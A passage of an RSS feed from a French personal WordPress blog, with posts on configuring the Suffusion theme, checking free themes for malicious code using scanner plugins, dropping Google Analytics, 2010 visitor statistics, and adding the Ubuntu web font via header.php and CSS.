src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/pages-sous-pages.png&#34; width=&#34;267&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;réglage-dans-suffusion&#34;&gt;Réglage dans Suffusion&#xA;&lt;/h3&gt;&lt;p&gt;Une fois ceci préparé, rendons-nous dans l&amp;rsquo;interface du thème Suffusion. Dans &lt;strong&gt;Other Graphical Elements - Main Navigation Bar&lt;/strong&gt;, choisir l&amp;rsquo;option suivante :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;page navigation&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;308px&#34; data-flex-grow=&#34;128&#34; height=&#34;356&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/pagenavigation.png&#34; width=&#34;458&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis exclure les pages qui ne font pas partie du menu déroulant que vous voulez créer :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Exlusion des pages hors du menu déroulant&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;230px&#34; data-flex-grow=&#34;95&#34; height=&#34;461&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/pageexlusion1.png&#34; width=&#34;442&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enfin, activer les WP 3 Navigation menus, et sélectionner ceux créés précédemment :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/03/wp3menus.png&#34; &gt;&lt;img alt=&#34;wp3 menus&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;291px&#34; data-flex-grow=&#34;121&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/wp3menus-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pour finir, régler l&amp;rsquo;ordre d&amp;rsquo;affichage des entrées du menu en les faisant glisser : ce n&amp;rsquo;est pas exactement ce qui sera affiché, mais on arrive à ce que l&amp;rsquo;on veut facilement :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ordre des menus&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;231px&#34; data-flex-grow=&#34;96&#34; height=&#34;362&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/ordremenu.png&#34; width=&#34;349&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà le menu est tel que je le souhaitais&amp;hellip; ce thème est vraiment puissant.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-widgets&#34;&gt;Les widgets&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;utterquotes intégré en widget&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;184px&#34; data-flex-grow=&#34;76&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/utterquotes.png&#34; width=&#34;180&#34;&gt; C&amp;rsquo;est aussi l&amp;rsquo;occasion de passer aux widgets, c&amp;rsquo;est-à-dire des plugins que l&amp;rsquo;on peut administrer via l&amp;rsquo;interface de Wordpress. C&amp;rsquo;est parfait, cela évite d&amp;rsquo;aller modifier les fichiers à la main&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Encore faut-il que tous les plugins utilisés supporte ce mode. C&amp;rsquo;est le cas pour presque tous, car la plupart du temps les auteurs ont réécrits leurs plugins pour supporter cette fonctionnalité. Et bien entendu, il en reste toujours un pour lequel ce n&amp;rsquo;est pas le cas ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;En l&amp;rsquo;occurrence, c&amp;rsquo;est &lt;strong&gt;Utter Quotes&lt;/strong&gt;, le plugin qui me sert à afficher une citation en haut de page. Il est ancien et plus vraiment développé par son auteur. Comme toujours, il existe une solution. Wordpress propose bien un &lt;strong&gt;widget Text&lt;/strong&gt;, mais comme son nom l&amp;rsquo;indique il ne  permet que d&amp;rsquo;insérer du code HTML ou du simple texte. Et fort heureusement, quelqu&amp;rsquo;un a développé un &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/php-code-widget/&#34;  title=&#34;PHP code widget&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PHP code widget&lt;/a&gt;, qui permet donc d&amp;rsquo;insérer du code PHP. Exactement ce qu&amp;rsquo;il me fallait, il ne me reste plus qu&amp;rsquo;à insérer le code PHP correspondant au plugin dans ce widget placé en haut de la sidebar de droite.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Il reste encore beaucoup de modifications à faire, mon idée est de garder à peu près le même look que le thème précédent,  puisqu&amp;rsquo;il me plait bien. Mais avec Suffusion, je peux avoir le menu que je souhaitais, et la base de départ est assez proche de ce à quoi je veux arriver. L&amp;rsquo;essentiel devrait porter sur le CSS, en prenant soin de garder la compatibilité avec les réglages de l&amp;rsquo;ancien thème, notamment le positionnement des images (gauche, droite, centré). Et retrouver la bannière aléatoire bien sûr !&lt;/p&gt;&#xA;&lt;p&gt;A suivre donc&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Vérifier son thème Wordpress</title>
            <link>https://pled.fr/verifier-son-theme-wordpress/</link>
            <pubDate>Sun, 20 Feb 2011 18:50:29 +0000</pubDate>
            <guid>https://pled.fr/verifier-son-theme-wordpress/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;du code malicieux !&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;encrypted.png#floatleft&#34;&gt; Je commence à regarder les thèmes Wordpress disponibles pour la version 3, car l&amp;rsquo;une des nouvelles fonctionnalités m&amp;rsquo;intéresse : je voudrais avoir un menu plus évolué en haut de page.&lt;/p&gt;&#xA;&lt;p&gt;Un menu déroulant permettrait beaucoup plus de souplesse, par exemple pour afficher des liens vers des pages du blog, ce qui ouvrirait de nouvelles perspectives&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Et voilà que je tombe sur cet &lt;a class=&#34;link&#34; href=&#34;http://www.wordpress-fr.net/blog/blog/il-ne-faut-jamais-chercher-un-theme-wordpress-gratuit-sur-un-moteur-de-recherche&#34;  title=&#34;article version française&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;article&lt;/a&gt; intitulé : &lt;strong&gt;Il ne faut jamais chercher un thème WordPress gratuit sur un moteur de recherche !&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;free wordpress themes sur google&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;355px&#34; data-flex-grow=&#34;147&#34; height=&#34;169&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/verifier-son-theme-wordpress/google.png&#34; width=&#34;250&#34;&gt; L&amp;rsquo;auteur s&amp;rsquo;est amusée à tester le 10 premiers résultats sur Google avec la recherche suivante : « free wordpress themes ».&lt;/p&gt;&#xA;&lt;p&gt;Personnellement, je n&amp;rsquo;avais jamais pensé que des thèmes pouvaient contenir du code malicieux, mais il semble bien que si, car voici le résultat pour les 10 premières réponses de Google :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sûr : 1&lt;/li&gt;&#xA;&lt;li&gt;Mouais : 1&lt;/li&gt;&#xA;&lt;li&gt;A éviter : 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Il convient donc d&amp;rsquo;être prudent lorsque l&amp;rsquo;on choisit un thème pour son blog. Je vous encourage à lire cet article si vous êtes concerné, c&amp;rsquo;est très intéressant.&lt;/p&gt;&#xA;&lt;h3 id=&#34;à-retenir&#34;&gt;À retenir&#xA;&lt;/h3&gt;&lt;p&gt;Il existe des plugins qui permettent de tester votre futur thème :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/tac/&#34;  title=&#34;Theme authenticity checker&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Theme Authenticity Checker&lt;/a&gt; qui teste votre thème contre du code malicieux : indispensable !&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Et pour une analyse plus poussée :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/exploit-scanner/&#34;  title=&#34;plugin Exploit scanner&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Exploit scanner&lt;/a&gt; qui analyse tout votre site (peut prendre du temps et avec un résultat très verbeux)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/theme-check/&#34;  title=&#34;plugin Theme Check&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Theme Check&lt;/a&gt; qui teste votre thème au regard des standards et pratiques de Wordpress (là aussi, le résultat peut être verbeux)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Enfin, quelques sites fournissant de « bons thèmes » :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://themeshaper.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Theme Shaper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.themelab.com/free-wordpress-themes/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ThemeLab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://themehybrid.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Theme Hybrid&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.arrastheme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Arras Theme&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.smashingmagazine.com/tag/wordpress/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Smashing Magazine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</description>
        </item><item>
            <title>Adieu Google Analytics</title>
            <link>https://pled.fr/adieu-google-analytics/</link>
            <pubDate>Tue, 18 Jan 2011 18:31:39 +0000</pubDate>
            <guid>https://pled.fr/adieu-google-analytics/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;google-analytics.png#floatleft&#34;&gt; Comme je le mentionnais récemment dans l&amp;rsquo;article sur les statistiques du blog, j&amp;rsquo;avais aussi activé &lt;strong&gt;Google Analytics&lt;/strong&gt; en plus de l&amp;rsquo;extension &amp;ldquo;Wordpress.com Stats&amp;rdquo;. En fait je m&amp;rsquo;en servais très peu, les données fournies par Wordpress me suffisant amplement.&lt;/p&gt;&#xA;&lt;p&gt;Après avoir lu pas mal d&amp;rsquo;articles concernant &lt;strong&gt;Facebook&lt;/strong&gt; et son fameux bouton &amp;ldquo;J&amp;rsquo;aime&amp;rdquo; (voir &lt;a class=&#34;link&#34; href=&#34;../?p=3814&#34;  title=&#34;article Le bouton « J’aime » de Facebook&#34;&#xA;    &gt;Le bouton « J’aime » de Facebook&lt;/a&gt;), je me suis rendu compte que &lt;strong&gt;Google&lt;/strong&gt; faisait grosso modo la même chose, c&amp;rsquo;est-à-dire le traçage, et toujours pour les mêmes raisons : la publicité ciblée.&lt;/p&gt;&#xA;&lt;p&gt;Si Google Analytics est très complet et certainement utile pour un site professionnel souhaitant développer son audience (mais attention, cela devient vite complexe), ce n&amp;rsquo;est pas du tout mon cas. J&amp;rsquo;ai donc supprimé le petit bout de script, que j&amp;rsquo;avais mis moi-même, en toute &lt;em&gt;innocence&lt;/em&gt; ;-) (et en même temps supprimé le site côté Google).&lt;/p&gt;&#xA;&lt;p&gt;Le blog est ainsi plus respectueux de ses visiteurs&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog - année 2010</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2010/</link>
            <pubDate>Sun, 09 Jan 2011 19:04:43 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2010/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/01/stats.png&#34; &gt;&lt;img alt=&#34;nombre de visites&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;759px&#34; data-flex-grow=&#34;316&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2010/stats-small.png&#34; width=&#34;250&#34;&gt;&lt;/a&gt; C&amp;rsquo;est le moment de regarder les stats du blog, et de comparer avec les chiffres de l&amp;rsquo;année dernière, puisque cela fait maintenant plus de deux années complètes que les stats sont activées avec le plugin &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/extend/plugins/stats/&#34;  title=&#34;page du plugin wordpress.com Stats&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wordpress.com Stats&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Comme l&amp;rsquo;année dernière, les visites sont en hausse, et c&amp;rsquo;est principalement lié à l&amp;rsquo;accroissement du contenu. Par contre, j&amp;rsquo;ai publié moins d&amp;rsquo;articles (voir les chiffres dans la colonne de gauche) : soit &lt;strong&gt;96&lt;/strong&gt; articles publiés en 2010.&lt;/p&gt;&#xA;&lt;p&gt;Un premier plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, activé depuis le début du site ou presque (et affiché en bas de page), me donne un nombre total de visiteurs de &lt;strong&gt;318 875&lt;/strong&gt; à ce jour, contre &lt;strong&gt;184 000&lt;/strong&gt; il y a un an.&lt;/p&gt;&#xA;&lt;h3 id=&#34;visites&#34;&gt;Visites&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/01/Stats-details.png&#34; &gt;&lt;img alt=&#34;Statistiques détaillées&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;392px&#34; data-flex-grow=&#34;163&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2010/Stats-details-small.png&#34; width=&#34;250&#34;&gt;&lt;/a&gt; C&amp;rsquo;est confirmé en comparant l&amp;rsquo;année 2009 à celle de 2010, toutes deux complètes :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;31 698&lt;/strong&gt; visiteurs en 2009&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;45 259&lt;/strong&gt; visiteurs en 2010&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Il y a une hausse de fréquentation sensible depuis septembre dernier, et je dépasse 4 500 visites par mois, contre 3 500 en fin d&amp;rsquo;année dernière.&lt;/p&gt;&#xA;&lt;p&gt;Enfin le mois de Novembre dernier bat le record avec 4839 visites&amp;hellip; à comparer avec l&amp;rsquo;année dernière, où le meilleur mois était également Novembre, mais avec 3 647 visites.&lt;/p&gt;&#xA;&lt;h3 id=&#34;articles&#34;&gt;Articles&#xA;&lt;/h3&gt;&lt;p&gt;Comme l&amp;rsquo;année dernière, voilà le « &lt;strong&gt;top 20&lt;/strong&gt;» des articles les plus consultés, avec les chiffres de 2009 pour ceux qui en faisaient déjà partie il y a un an :&#xA;Article20092010&lt;a class=&#34;link&#34; href=&#34;../?p=310&#34; &gt;VTT Giant&lt;/a&gt;2 0084 364&lt;a class=&#34;link&#34; href=&#34;../?p=849&#34; &gt;VirtualBox&lt;/a&gt;2 1733 796&lt;a class=&#34;link&#34; href=&#34;../?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 441&lt;a class=&#34;link&#34; href=&#34;../?p=45&#34; &gt;Le zona, c&amp;rsquo;est la zone&lt;/a&gt;1 2322 913&lt;a class=&#34;link&#34; href=&#34;../?p=4&#34; &gt;Les démons de Jésus&lt;/a&gt;1 0492 397&lt;a class=&#34;link&#34; href=&#34;../?p=756&#34; &gt;Ubuntu 8.04 - Hardy Heron&lt;/a&gt;1 8631 991&lt;a class=&#34;link&#34; href=&#34;../?p=195&#34; &gt;UBCD4Win&lt;/a&gt;1 0291 763&lt;a class=&#34;link&#34; href=&#34;../?p=9&#34; &gt;Wordpress: installation en local&lt;/a&gt;6701 644&lt;a class=&#34;link&#34; href=&#34;../?p=366&#34; &gt;Le pays Gallo&lt;/a&gt;5941 483&lt;a class=&#34;link&#34; href=&#34;../?p=2273&#34; &gt;Sauvegarder ses données sous Ubuntu&lt;/a&gt;5001 435&lt;a class=&#34;link&#34; href=&#34;../?p=218&#34; &gt;Wengo plutôt que Skype&lt;/a&gt;1 120&lt;a class=&#34;link&#34; href=&#34;../?p=1122&#34; &gt;SED - Stream EDitor&lt;/a&gt;6881 115&lt;a class=&#34;link&#34; href=&#34;../?p=2829&#34; &gt;Fracture du coude - 6 mois après&lt;/a&gt;1 101&lt;a class=&#34;link&#34; href=&#34;../?p=738&#34; &gt;Les oursins n&amp;rsquo;aiment pas le Round-up&lt;/a&gt;8791 022&lt;a class=&#34;link&#34; href=&#34;../?p=1870&#34; &gt;Tristes tropiques - Claude Lévi-Strauss&lt;/a&gt;2971 017&lt;a class=&#34;link&#34; href=&#34;../?p=2455&#34; &gt;Ubuntu 9.10 - Karmic Koala&lt;/a&gt;265776&lt;a class=&#34;link&#34; href=&#34;../?p=2496&#34; &gt;&amp;ldquo;Écoutez&amp;rdquo; France Culture&amp;hellip; en mp3&lt;/a&gt;775&lt;a class=&#34;link&#34; href=&#34;../?p=3010&#34; &gt;“Écoutez” France Culture… en mp3 (2)&lt;/a&gt;733&lt;a class=&#34;link&#34; href=&#34;../?p=108&#34; &gt;Le langage silencieux - Edward T. Hall&lt;/a&gt;279728&lt;a class=&#34;link&#34; href=&#34;../?p=287&#34; &gt;Freebox v5&lt;/a&gt;700&#xA;A noter cette année :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;l&amp;rsquo;article &amp;ldquo;VTT Giant&amp;rdquo; prend la tête (second l&amp;rsquo;an dernier) alors qu&amp;rsquo;il ne s&amp;rsquo;agit que de quelques photos du VTT de ma frangine.&lt;/li&gt;&#xA;&lt;li&gt;l&amp;rsquo;entrée &lt;em&gt;fracassante&lt;/em&gt; ;-) de l&amp;rsquo;article &amp;ldquo;Rééducation du coude&amp;rdquo; à la troisième place ainsi que &amp;ldquo;Fracture du coude - 6 mois après&amp;rdquo; : ces articles ont bien fonctionné, il y avait un besoin je crois, et surtout un kiné s&amp;rsquo;est mis à y participer&amp;hellip; merci à lui.&lt;/li&gt;&#xA;&lt;li&gt;l&amp;rsquo;article sur Ubuntu Hardy a très peu évolué, ce qui est logique (d&amp;rsquo;autres versions sont apparues).&lt;/li&gt;&#xA;&lt;li&gt;La pays Gallo gagne une place ! (neuvième).&lt;/li&gt;&#xA;&lt;li&gt;les deux articles expliquant comment enregistrer France Culture, et faits cette année, se placent bien.&lt;/li&gt;&#xA;&lt;li&gt;Deux bouquins (mais deux bons) dans cette liste : &amp;ldquo;Tristes tropiques&amp;rdquo; de Claude Levy Strauss, et &amp;ldquo;Le langage silencieux&amp;rdquo; d&amp;rsquo;Edward T. Hall.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;google&#34;&gt;Google&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai également activé les stats sur Google&amp;hellip; pas grand chose de plus que celles de Wordpress, en tout cas dans ce qui m&amp;rsquo;intéresse&amp;hellip; A noter tout de même un joli camembert sur les sources de trafic :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;sources de Trafic selon Google&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;461px&#34; data-flex-grow=&#34;192&#34; height=&#34;198&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2010/sources.png&#34; width=&#34;381&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sinon, il y a une jolie mappemonde de disponible, mais en gros c&amp;rsquo;est surtout la France et un peu le Canada, langue française oblige&amp;hellip; et puis un peu partout dans le monde, mais à dose homéopathique.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>La police Ubuntu</title>
            <link>https://pled.fr/la-police-ubuntu/</link>
            <pubDate>Fri, 24 Dec 2010 18:52:16 +0000</pubDate>
            <guid>https://pled.fr/la-police-ubuntu/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;la nouvelle police Ubuntu&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;Ubuntufont.png#floatleft&#34;&gt; Avec la dernière version d&amp;rsquo;Ubuntu est arrivée une nouvelle police, créée spécifiquement. Canonical en a payé le développement, et la police est livrée sous licence libre, permettant ainsi à tout le monde d&amp;rsquo;en profiter.&lt;/p&gt;&#xA;&lt;p&gt;Puis Google et Ubuntu l&amp;rsquo;ont récemment rendu disponible pour le web, à travers le projet &lt;a class=&#34;link&#34; href=&#34;http://code.google.com/webfonts&#34;  title=&#34;Google Font directory&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google Font directory&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Et la voilà donc utilisée sur ce blog&amp;hellip; :-)&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai trouvé l&amp;rsquo;info sur le site de &lt;a class=&#34;link&#34; href=&#34;http://blog.nizarus.org/2010/12/activer-la-police-ubuntu-dans-wordpress&#34;  title=&#34;le blog de nizarus&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Nizarus&lt;/a&gt;, et la manip est très simple : il suffit de charger la police dans le fichier &lt;strong&gt;header.php&lt;/strong&gt; du thème, puis de modifier le fichier &lt;strong&gt;style.css&lt;/strong&gt; pour inclure la police Ubuntu dans les niveaux de titres que vous désirez.&lt;/p&gt;&#xA;&lt;p&gt;header.php :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;link&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;http://fonts.googleapis.com/css?family=Ubuntu:regular,italic,bold&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;rel&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;stylesheet&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;text/css&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;style.css :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;body&lt;/span&gt; { &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#F3F6ED&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;font-family&lt;/span&gt;: Ubuntu, Arial, Helvetica, &lt;span style=&#34;color:#66d9ef&#34;&gt;sans-serif&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;pt&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;text-align&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;center&lt;/span&gt;; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;,&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;,&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;h3&lt;/span&gt; { &lt;span style=&#34;color:#66d9ef&#34;&gt;font-weight&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;bold&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;font-family&lt;/span&gt;: Ubuntu, Georgia, Helvetica, Arial, &lt;span style=&#34;color:#66d9ef&#34;&gt;sans-serif&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#665836&lt;/span&gt;; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En ce qui me concerne, j&amp;rsquo;ai tout passé en Ubuntu. J&amp;rsquo;ai du également modifier la taille de 1.3em à 1.2em pour le style utilisé par les plugins &lt;strong&gt;wp-dtree30&lt;/strong&gt; et &lt;strong&gt;recent-comments&lt;/strong&gt; pour garder la même proportion.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour plugins</title>
            <link>https://pled.fr/mise-a-jour-plugins/</link>
            <pubDate>Sun, 19 Dec 2010 12:02:16 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-plugins/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;le nouveau wp dtree&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wpdt.png#floatleft&#34;&gt; Ça faisait un bout de temps que j&amp;rsquo;avais divers problèmes avec le blog, depuis le passage en version 3.0.1 en fait (voir cet &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3228&#34;  title=&#34;mise à jour Wordpress 3.0.1&#34;&#xA;    &gt;article&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Le plugin &lt;strong&gt;wp-dtree-30&lt;/strong&gt;, qui sert à afficher les articles sous la forme d&amp;rsquo;un arbre dynamique, fonctionnait de manière aléatoire : les nouveaux articles n&amp;rsquo;apparaissaient pas immédiatement, mais quelques jours plus tard&amp;hellip; 